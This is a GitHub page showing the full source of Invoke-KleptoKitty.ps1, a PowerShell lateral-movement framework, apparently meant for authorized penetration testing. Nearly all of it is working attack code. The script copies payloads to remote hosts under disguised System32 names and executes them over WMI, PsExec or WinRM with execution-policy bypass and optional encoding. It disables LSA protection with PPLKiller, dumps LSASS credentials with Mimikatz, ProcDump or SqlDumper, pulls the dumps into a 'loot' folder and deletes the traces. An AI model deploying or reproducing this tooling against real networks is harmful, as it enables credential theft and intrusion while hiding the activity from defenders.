-
Notifications
You must be signed in to change notification settings - Fork 11
/
Invoke-KleptoKitty.ps1
722 lines (568 loc) · 28.6 KB
/
Invoke-KleptoKitty.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
Function Invoke-KleptoKitty {
<#
.SYNOPSIS
Invoke-KleptoKitty - Deploys Payloads and collects credentials
=^._.^=
_( )/ KleptoKitty
Author: Michael Schneider, scip AG
License: MIT
Required Dependencies: None
Optional Dependencies: Mimikatz, PPLKiller, PsExec, ProcDump, SqlDumper
.DESCRIPTION
KleptoKitty is a lateral movement framework with the goal of collecting credentials.
With a variety of techniques payloads are delivered to the target system, security controls
are bypassed and credentials are dumped.
KleptoKitty is the controller and takes charge of the transfer of files, execution of payloads
and the cleanup afterwards. Any payloads can be used with KleptoKitty. KleptoKitty includes some
sample payloads and little helpers for Base64 encoding or for encrypting data.
.PARAMETER HostsFile
Contains a list of target systems, one entry (IP address or hostname) is expected per line.
.PARAMETER Hostname
Can be used for simple tests, IP address or hostname can be used, one use would be the connection test.
.PARAMETER RemoteCommandExecution
Defines which lateral movement technique is used. KleptoKitty will support WMI, PsExec and WinRM.
.PARAMETER Delivery
Defines how the payload is transferred to the target system. The payload is copied by default.
KleptoKitty will also support download via HTTP and copying of shares.
.PARAMETER CredentialAccess
Defines which technique is used for reading credentials. Mimikatz is the standard method,
but KleptoKitty will also support ProcDump or dual use tools like SqlDumper
.PARAMETER Bypass
Defines if a bypass technique is used, for example to bypass LSA protection.
Depending on the payload, the bypass technique may already be integrated
into the Credential Access payload.
.PARAMETER BinaryPsExec
The path of the PsExec binary can be defined by the user.
.PARAMETER TestConnection
Performs a connection test to the target system at TCP port level
.EXAMPLES
Invoke-KleptoKitty -ComputerName target.example -TestConnection
Invoke-KleptoKitty -HostsFile .\targets.txt -CredentialAccess Mimikatz
#>
[CmdletBinding(DefaultParameterSetName='TargetHostname')]
Param (
[Parameter(ParameterSetName = 'TargetHostsFile',
Mandatory=$true)]
[ValidateScript({Test-Path $_})]
[String]
$HostsFile,
[Parameter(ParameterSetName = 'TargetComputerName',
Mandatory = $true)]
[String]
$ComputerName,
[ValidateSet("WMI","PsExec","PSRemoting")]
[String]
$RemoteCommandExecution = "WMI",
[ValidateSet("Copy","HTTP","SMB")]
[String]
$Delivery = "Copy",
[ValidateSet("Demo","Mimikatz", "Mimikatz-mimidrv", "ProcDump", "SqlDumper")]
[String]
$CredentialAccess = "Demo",
[ValidateSet("PPLKiller")]
[String]
$Bypass,
[ValidateScript({Test-Path $_})]
[String]
$BinaryPsExec,
[Switch]
$TestConnection = $false
)
Function Write-ProtocolEntry {
<#
.SYNOPSIS
Output of an event with timestamp and different formatting
depending on the level.
#>
[CmdletBinding()]
Param (
[String]
$Text,
[String]
$LogLevel
)
$Time = Get-Date -Format G
Switch ($LogLevel) {
"Info" { $Message = "[*] $Time - $Text"; Write-Host $Message; Break}
"Debug" { $Message = "[-] $Time - $Text"; Write-Host -ForegroundColor Cyan $Message; Break}
"Warning" { $Message = "[?] $Time - $Text"; Write-Host -ForegroundColor Yellow $Message; Break}
"Error" { $Message = "[!] $Time - $Text"; Write-Host -ForegroundColor Red $Message; Break}
"Success" { $Message = "[$] $Time - $Text"; Write-Host -ForegroundColor Green $Message; Break}
Default { $Message = "[*] $Time - $Text"; Write-Host $Message; }
}
Add-Content -Path $ProtocolPath -Value $Message
}
Function Test-RemoteConnection {
<#
.SYNOPSIS
Performs a connection test to the target system at TCP port level,
135/tcp for WMI, 445/tcp for SMB, 5985/tcp and 5986/tcp for WinRM.
The cmdlet Test-NetConnection first sends an ICMP ping before the port scan.
#>
$ConnectionStatusWmi = Test-NetConnection -ComputerName $Hostname -Port 135 -ErrorAction SilentlyContinue -WarningAction SilentlyContinue
If ($ConnectionStatusWmi.TcpTestSucceeded) {
Write-ProtocolEntry -Text "Port 135/tcp is open" -LogLevel "Success"
} Else {
Write-ProtocolEntry -Text "Port 135/tcp is not open" -LogLevel "Error"
}
$ConnectionStatusSmb = Test-NetConnection -ComputerName $Hostname -Port 445 -ErrorAction SilentlyContinue -WarningAction SilentlyContinue
If ($ConnectionStatusSmb.TcpTestSucceeded) {
Write-ProtocolEntry -Text "Port 445/tcp is open" -LogLevel "Success"
} Else {
Write-ProtocolEntry -Text "Port 445/tcp is not open" -LogLevel "Error"
}
$ConnectionStatusWinrmHttp = Test-NetConnection -ComputerName $Hostname -Port 5985 -ErrorAction SilentlyContinue -WarningAction SilentlyContinue
If ($ConnectionStatusWinrmHttp.TcpTestSucceeded) {
Write-ProtocolEntry -Text "Port 5985/tcp is open" -LogLevel "Success"
} Else {
Write-ProtocolEntry -Text "Port 5985/tcp is not open" -LogLevel "Error"
}
$ConnectionStatusWinrmHttps = Test-NetConnection -ComputerName $Hostname -Port 5986 -ErrorAction SilentlyContinue -WarningAction SilentlyContinue
If ($ConnectionStatusWinrmHttps.TcpTestSucceeded) {
Write-ProtocolEntry -Text "Port 5986/tcp is open" -LogLevel "Success"
} Else {
Write-ProtocolEntry -Text "Port 5986/tcp is not open" -LogLevel "Error"
}
}
Function Copy-Payload {
<#
.SYNOPSIS
Copies a file from source to destination using previously mounted drives.
#>
[CmdletBinding()]
Param (
[String]
$Source,
[String]
$Destination
)
$ReturnCode = $true
try {
Copy-Item -Path $Source -Destination $Destination -ErrorAction Stop
} catch {
$ErrorReason = $_.Exception.Message
Write-ProtocolEntry -Text "Copying payload to $Hostname failed. Reason: $ErrorReason" -LogLevel "Error"
Write-ProtocolEntry -Text "$Hostname done" -LogLevel "Error"
$ReturnCode = $false
}
return $ReturnCode
}
Function Execute-Payload {
<#
.SYNOPSIS
Executes the payload on the target system. The technique selected by
global parameter RemoteCommandExecution is used. Optionally, the payload can be
executed Base64 encoded. This obscures arguments, but can also be an indicator for
a malicious action. The choice is yours.
Warning: Payload encoding is not supported for WinRM right now!
#>
[CmdletBinding()]
Param (
# Command of payload
[String]
$PayloadCommand,
# Enable payload encoding
[Switch]
$EnableEncoding = $false
)
$ReturnCode = $true
#
# Encode payload command
#
If ($EnableEncoding) {
$PayloadCommandEncoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($PayloadCommand))
$ArgumentList = "powershell.exe -Exec Bypass -Enc $PayloadCommandEncoded"
} Else {
$ArgumentList = "powershell.exe -Exec Bypass $PayloadCommand"
}
If ($RemoteCommandExecution -eq "WMI") {
try {
$WmiExec = Invoke-WmiMethod -Class "win32_process" -Name "create" -ArgumentList $ArgumentList -ComputerName $Hostname -Credential $AdminCredential -ErrorAction Stop
} catch {
$ErrorReason = $_.Exception.Message
Write-ProtocolEntry -Text "WMI connection to $Hostname failed. Reason: $ErrorReason" -LogLevel "Error"
Write-ProtocolEntry -Text "$Hostname done" -LogLevel "Error"
$ReturnCode = $false
}
} ElseIf ($RemoteCommandExecution -eq "PsExec") {
#
# Definition and check for PsExec
# If PsExec is not available, the execution of the script is terminated
#
If (-Not $BinaryPsExec) {
$BinaryPsExec = "$BasePath\PsExec64.exe"
}
If (-Not (Test-Path $BinaryPsExec)) {
Write-ProtocolEntry -Text "Binary for PsExec not found" -LogLevel "Error"
$ReturnCode = $false
return $ReturnCode
}
try {
#
# PsExec does not support the use of a credential object. The password must either be
# entered manually, or can be seen in the command line. Since we are writing an IT security framework,
# we enter the password manually. That goes without saying.
#
Write-ProtocolEntry -Text "Please copy password into the following line (blind):" -LogLevel "Debug"
&$BinaryPsExec "\\$Hostname" -accepteula -nobanner -h -u $AdminUsername "powershell" $ArgumentList
} catch {
$ErrorReason = $_.Exception.Message
Write-ProtocolEntry -Text "PsExec connection to $Hostname failed. Reason: $ErrorReason" -LogLevel "Error"
Write-ProtocolEntry -Text "$Hostname done" -LogLevel "Error"
$ReturnCode = $false
}
} ElseIf ($RemoteCommandExecution -eq "PSRemoting") {
try {
$Session = New-PSSession -ComputerName $Hostname -Credential $AdminCredential
$Job = Invoke-Command -Session $Session -Scriptblock { $PayloadCommand }
Remove-PSSession -Session $Session
} catch {
$ErrorReason = $_.Exception.Message
Write-ProtocolEntry -Text "PSRemoting connection to $Hostname failed. Reason: $ErrorReason" -LogLevel "Error"
Write-ProtocolEntry -Text "$Hostname done" -LogLevel "Error"
$ReturnCode = $false
}
}
return $ReturnCode
}
Function Delete-File {
<#
.SYNOPSIS
This function is used to delete a file from the target system.
Should be applied to all copied and generated files.
#>
[CmdletBinding()]
Param (
# File to delete
[String]
$File
)
try {
Remove-Item -Path $File -Force
} catch {
$ErrorReason = $_.Exception.Message
Write-ProtocolEntry -Text "Delete failed. Reason: $ErrorReason" -LogLevel "Error"
}
}
Function Generate-RandomName {
<#
.SYNOPSIS
Generate and return a random name.
Can be extended at will, and should give the payload a trustworthy appearance.
#>
[CmdletBinding()]
Param (
# Type of name
[ValidateSet("Script","Log","Executable")]
[String]
$Type
)
Switch($Type) {
"Log" {$RandomName = "de_ch", "setupmod", "en_ir", "Synaptics.MD", "fr_ch", "unso", "nI-NL" | Get-Random; Break}
Default {$RandomName = "AdmTmpl", "agentactivationruntimestarter", "CallHistoryClient", "EasPolicyManagerBrokerPS", "LockScreenData", "MsSpellCheckingFacility", "ReAgentTask" | Get-Random;}
}
$RandomName
}
#
# KleptoKitty Parameters
#
# Environment parameter for KleptoKitty, among other things a protocol
# of all actions with timestamp is created. This makes report writing easier later. :-)
#
$KleptoKittyVersion = "0.2.3-1626784956"
$CurrentLocation = Get-Location
$BasePath = $CurrentLocation.Path
$Timestamp = Get-Date -Format yyyyMMdd-HHmm
$ProtocolName = "protocol_kleptokitty-$Timestamp.txt"
$ProtocolPath = "$BasePath\$ProtocolName"
If (-not($HostsFile)) {
$Hosts = @($Computername)
} Else {
$Hosts = Get-Content $HostsFile
}
#
# Default payload settings for all hosts
#
# These settings apply to all payloads that are used in a run.
# The key (token) with which the payloads were encrypted is also defined here.
# If a separate key is used for each host, this must be adjusted later.
#
Switch ($CredentialAccess) {
"Demo" { $PayloadNameCredentialAccess = "Write-Log.ps1"; Break}
"Mimikatz" { $PayloadNameCredentialAccess = "CredentialAccess-Mimikatz-Encrypted.ps1"; Break}
"Mimikatz-mimidrv" { $PayloadNameCredentialAccess = "CredentialAccess-Mimikatz-mimidrv-Encrypted.ps1"; Break}
"ProcDump" { $PayloadNameCredentialAccess = "CredentialAccess-Procdump.ps1"; Break}
"SqlDumper" { $PayloadNameCredentialAccess = "CredentialAccess-Sqldumper.ps1"; Break}
Default { $PayloadNameCredentialAccess = "Write-Log.ps1"; Break}
}
$PayloadPathCredentialAccess = "$BasePath\payloads\$PayloadNameCredentialAccess"
$PayloadKeyCredentialAccess = "YourSecretKeyHere" # Use if the payload is encrypted
Switch ($Bypass) {
"PPLKiller" { $PayloadNameBypass = "Bypass-PPLKiller.ps1"; Break}
Default { $PayloadNameBypass = "Bypass-PPLKiller.ps1"; Break}
}
$PayloadPathBypass = "$BasePath\payloads\$PayloadNameBypass"
$PayloadKeyBypass = "YourSecretKeyHere" # Use if the payload is encrypted
#
# Start Main
# Push it. Dump it. Get it. Remove it. - by Tinker
#
Write-Output "`n"
Write-Output " =^._.^="
Write-Output " _( )/ KleptoKitty $KleptoKittyVersion"
Write-Output "`n"
Write-ProtocolEntry -Text "Starting KleptoKitty" -LogLevel "Info"
#
# Request the credentials for the target system. This way KleptoKitty does not
# need to be executed with administrative rights. Please do not store a clear text password
# here or a kitten dies. :(
#
If(-not($TestConnection)) {
$AdminCredential = Get-Credential
$AdminUsername = $AdminCredential.UserName
$AdminPassword = $AdminCredential.GetNetworkCredential().password
}
Foreach ($Hostname in $Hosts) {
#
# Test for open ports, finish script after the test
#
If($TestConnection) {
Write-ProtocolEntry -Text "Starting connection test for $Hostname" -LogLevel "Info"
Test-RemoteConnection
Continue
}
#
# Settings per host
#
$TargetShare = "\\$Hostname\c$"
#
# Map drive
#
If ($Delivery -eq "Copy") {
Write-ProtocolEntry -Text "Connecting to $Hostname and mapping system drive" -LogLevel "Info"
$PSDriveName = -join ((65..90) | Get-Random -Count 2 | % {[char]$_}) # Get 2 random letters
try {
New-PSDrive -Name $PSDriveName -PSProvider FileSystem -Root $TargetShare -Credential $AdminCredential -ErrorAction Stop | Out-Null
} catch {
$ErrorReason = $_.Exception.Message
Write-ProtocolEntry -Text "Connection to $Hostname failed. Reason: $ErrorReason" -LogLevel "Error"
Write-ProtocolEntry -Text "$Hostname done" -LogLevel "Error"
Continue
}
}
#
# Bypass - Actions based on payload
#
If ($Bypass -eq "PPLKiller") {
#
# Payload setting per host
#
$RandomName = Generate-RandomName -Type "Script"
$TargetBasePath = "Windows\System32"
$TargetPayloadName = "$RandomName.ps1"
$TargetPayloadPath = "$TargetShare\$TargetBasePath\$TargetPayloadName"
$TargetPayloadLocalPath = "C:\$TargetBasePath\$TargetPayloadName"
#
# Settings and actions are based on delivery method
#
If ($Delivery -eq "Copy") {
# Copy Payload
Write-ProtocolEntry -Text "Copy payload $TargetPayloadName to $Hostname" -LogLevel "Info"
$ResultCopyPayload = Copy-Payload -Source $PayloadPathBypass -Destination $TargetPayloadPath
If (-not($ResultCopyPayload)) { Continue }
}
# Execute Payload (Bypass for Execution-Policy)
Write-ProtocolEntry -Text "Execute payload on $Hostname" -LogLevel "Info"
$PayloadCommandBypass = '-Command "Get-Content '+$TargetPayloadLocalPath+' | powershell -noprofile -"'
$ResultExecutePayload = Execute-Payload -PayloadCommand $PayloadCommandBypass
If ($ResultExecutePayload) {
Write-ProtocolEntry -Text "Payload $PayloadBypass executed, LSASS protection is (hopefully) disabled now." -LogLevel "Success"
}
# House Cleaning
Write-ProtocolEntry -Text "Delete payload on $Hostname" -LogLevel "Info"
Delete-File -File $TargetPayloadPath
}
#
# Credential Access - Actions based on payload
#
If ($CredentialAccess -eq "Demo") {
#
# Payload setting per host
#
$RandomName = Generate-RandomName -Type "Script"
$TargetBasePath = "Windows\System32"
$TargetPayloadName = "$RandomName.ps1"
$TargetPayloadPath = "$TargetShare\$TargetBasePath\$TargetPayloadName"
$TargetPayloadLocalPath = "C:\$TargetBasePath\$TargetPayloadName"
#
# Settings and actions are based on delivery method
#
If ($Delivery -eq "Copy") {
# Copy Payload
Write-ProtocolEntry -Text "Copy payload $TargetPayloadName to $Hostname" -LogLevel "Info"
$ResultCopyPayload = Copy-Payload -Source $PayloadPathCredentialAccess -Destination $TargetPayloadPath
If (-not($ResultCopyPayload)) { Continue }
}
# Execute Payload (Bypass for Execution-Policy)
Write-ProtocolEntry -Text "Execute payload on $Hostname" -LogLevel "Info"
$PayloadCommandCredentialAccess = '-Command "Get-Content '+$TargetPayloadLocalPath+' | powershell -noprofile -"'
$ResultExecutePayload = Execute-Payload -PayloadCommand $PayloadCommandCredentialAccess
If ($ResultExecutePayload) {
Write-ProtocolEntry -Text "Payload $PayloadCredentialAccess executed." -LogLevel "Success"
}
# House Cleaning
Write-ProtocolEntry -Text "Delete payload on $Hostname" -LogLevel "Info"
Delete-File -File $TargetPayloadPath
}
If ($CredentialAccess -eq "Mimikatz" -or $CredentialAccess -eq "Mimikatz-mimidrv") {
#
# Payload setting per host
#
$DumpTargetName = $Hostname+"_mimikatz.log"
$DumpTargetPath = "$basePath\loot\$DumpTargetName"
$RandomName = Generate-RandomName -Type "Script"
$TargetBasePath = "Windows\System32"
$TargetPayloadName = "$RandomName.ps1"
$TargetPayloadPath = "$TargetShare\$TargetBasePath\$TargetPayloadName"
$TargetPayloadLocalPath = "C:\$TargetBasePath\$TargetPayloadName"
$TargetDumpName = "de-ch.log"
$TargetDumpBasePath = "Windows"
$TargetDumpPath = "$TargetShare\$TargetDumpBasePath\$TargetDumpName"
#
# Settings and actions are based on delivery method
#
If ($Delivery -eq "Copy") {
# Copy payload
Write-ProtocolEntry -Text "Copy payload $TargetPayloadName to $Hostname" -LogLevel "Info"
$ResultCopyPayload = Copy-Payload -Source $PayloadPathCredentialAccess -Destination $TargetPayloadPath
If (-not($ResultCopyPayload)) { Continue }
}
# Execute payload
Write-ProtocolEntry -Text "Execute payload on $Hostname" -LogLevel "Info"
$PayloadCommandCredentialAccess = "$TargetPayloadLocalPath -Token $PayloadKeyCredentialAccess"
$ResultExecutePayload = Execute-Payload -PayloadCommand $PayloadCommandCredentialAccess -EnableEncoding
If ($ResultExecutePayload) {
Write-ProtocolEntry -Text "Payload $PayloadCredentialAccess executed." -LogLevel "Success"
# Good things come to those who wait
$SleepTime = 60
Write-ProtocolEntry -Text "Let Mimikatz finish. Waiting for $SleepTime seconds!" -LogLevel "Debug"
Start-Sleep -Seconds $SleepTime
# Collect information from host
Write-ProtocolEntry -Text "Retrieving log file" -LogLevel "Info"
$ResultCopyDump = Copy-Payload -Source $TargetDumpPath -Destination $DumpTargetPath
If (($ResultCopyDump)) {
Write-ProtocolEntry -Text "Log file $DumpTargetName saved." -LogLevel "Success"
Delete-File -File $TargetDumpPath
}
}
# House Cleaning
Write-ProtocolEntry -Text "Delete payload on $Hostname" -LogLevel "Info"
Delete-File -File $TargetPayloadPath
}
If ($CredentialAccess -eq "ProcDump") {
#
# Payload setting per host
#
$DumpTargetName = $Hostname+"_procdump.dmp"
$DumpTargetPath = "$basePath\loot\$DumpTargetName"
$RandomName = Generate-RandomName -Type "Script"
$TargetBasePath = "Windows\System32"
$TargetPayloadName = "$RandomName.ps1"
$TargetPayloadPath = "$TargetShare\$TargetBasePath\$TargetPayloadName"
$TargetPayloadLocalPath = "C:\$TargetBasePath\$TargetPayloadName"
$TargetDumpName = "nI-NL.log"
$TargetDumpBasePath = "Windows"
$TargetDumpPath = "$TargetShare\$TargetDumpBasePath\$TargetDumpName"
#
# Settings and actions are based on delivery method
#
If ($Delivery -eq "Copy") {
# Copy payload
Write-ProtocolEntry -Text "Copy payload $TargetPayloadName to $Hostname" -LogLevel "Info"
$ResultCopyPayload = Copy-Payload -Source $PayloadPathCredentialAccess -Destination $TargetPayloadPath
If (-not($ResultCopyPayload)) { Continue }
}
# Execute Payload (Bypass for Execution-Policy)
Write-ProtocolEntry -Text "Execute payload on $Hostname" -LogLevel "Info"
$PayloadCommandCredentialAccess = '-Command "Get-Content '+$TargetPayloadLocalPath+' | powershell -noprofile -"'
$ResultExecutePayload = Execute-Payload -PayloadCommand $PayloadCommandCredentialAccess
If ($ResultExecutePayload) {
Write-ProtocolEntry -Text "Payload $PayloadCredentialAccess executed." -LogLevel "Success"
# Good things come to those who wait
$SleepTime = 600
Write-ProtocolEntry -Text "Let ProcDump finish. Waiting for $SleepTime seconds!" -LogLevel "Debug"
Start-Sleep -Seconds $SleepTime
# Collect information from host
Write-ProtocolEntry -Text "Retrieving dump file" -LogLevel "Info"
$ResultCopyDump = Copy-Payload -Source $TargetDumpPath -Destination $DumpTargetPath
If (($ResultCopyDump)) {
Write-ProtocolEntry -Text "Dump file $DumpTargetName saved." -LogLevel "Success"
Delete-File -File $TargetDumpPath
}
}
# House Cleaning
Write-ProtocolEntry -Text "Delete payload on $Hostname" -LogLevel "Info"
Delete-File -File $TargetPayloadPath
}
If ($CredentialAccess -eq "SqlDumper") {
#
# Payload setting per host
#
$DumpTargetName = $Hostname+"_sqldumper.mdmp"
$DumpTargetPath = "$basePath\loot\$DumpTargetName"
$RandomName = Generate-RandomName -Type "Script"
$TargetBasePath = "Windows\System32"
$TargetPayloadName = "$RandomName.ps1"
$TargetPayloadPath = "$TargetShare\$TargetBasePath\$TargetPayloadName"
$TargetPayloadLocalPath = "C:\$TargetBasePath\$TargetPayloadName"
$TargetDumpName = "SQLDmpr0001.mdmp"
$TargetDumpBasePath = "Windows\System32"
$TargetDumpPath = "$TargetShare\$TargetDumpBasePath\$TargetDumpName"
#
# Settings and actions are based on delivery method
#
If ($Delivery -eq "Copy") {
# Copy payload
Write-ProtocolEntry -Text "Copy payload $TargetPayloadName to $Hostname" -LogLevel "Info"
$ResultCopyPayload = Copy-Payload -Source $PayloadPathCredentialAccess -Destination $TargetPayloadPath
If (-not($ResultCopyPayload)) { Continue }
}
# Execute Payload (Bypass for Execution-Policy)
Write-ProtocolEntry -Text "Execute payload on $Hostname" -LogLevel "Info"
$PayloadCommandCredentialAccess = '-Command "Get-Content '+$TargetPayloadLocalPath+' | powershell -noprofile -"'
$ResultExecutePayload = Execute-Payload -PayloadCommand $PayloadCommandCredentialAccess
If ($ResultExecutePayload) {
Write-ProtocolEntry -Text "Payload $PayloadCredentialAccess executed." -LogLevel "Success"
# Good things come to those who wait
$SleepTime = 30
Write-ProtocolEntry -Text "Let SqlDumper finish. Waiting for $SleepTime seconds!" -LogLevel "Debug"
Start-Sleep -Seconds $SleepTime
# Collect information from host
Write-ProtocolEntry -Text "Retrieving dump file" -LogLevel "Info"
$ResultCopyDump = Copy-Payload -Source $TargetDumpPath -Destination $DumpTargetPath
If (($ResultCopyDump)) {
Write-ProtocolEntry -Text "Dump file $DumpTargetName saved." -LogLevel "Success"
Delete-File -File $TargetDumpPath
}
}
# House Cleaning
Write-ProtocolEntry -Text "Delete payload on $Hostname" -LogLevel "Info"
Delete-File -File $TargetPayloadPath
}
#
# Delete drive
#
If ($Delivery -eq "Copy") {
Write-ProtocolEntry -Text "Delete drive" -LogLevel "Info"
try {
Remove-PSDrive -Name $PSDriveName -Force -ErrorAction Stop
} catch {
$ErrorReason = $_.Exception.Message
Write-ProtocolEntry -Text "Delete drive failed. Reason: $ErrorReason" -LogLevel "Error"
}
}
Write-ProtocolEntry -Text "$Hostname done" -LogLevel "Info"
}
Write-ProtocolEntry -Text "KleptoKitty is done" -LogLevel "Info"
Write-Output "`n"
}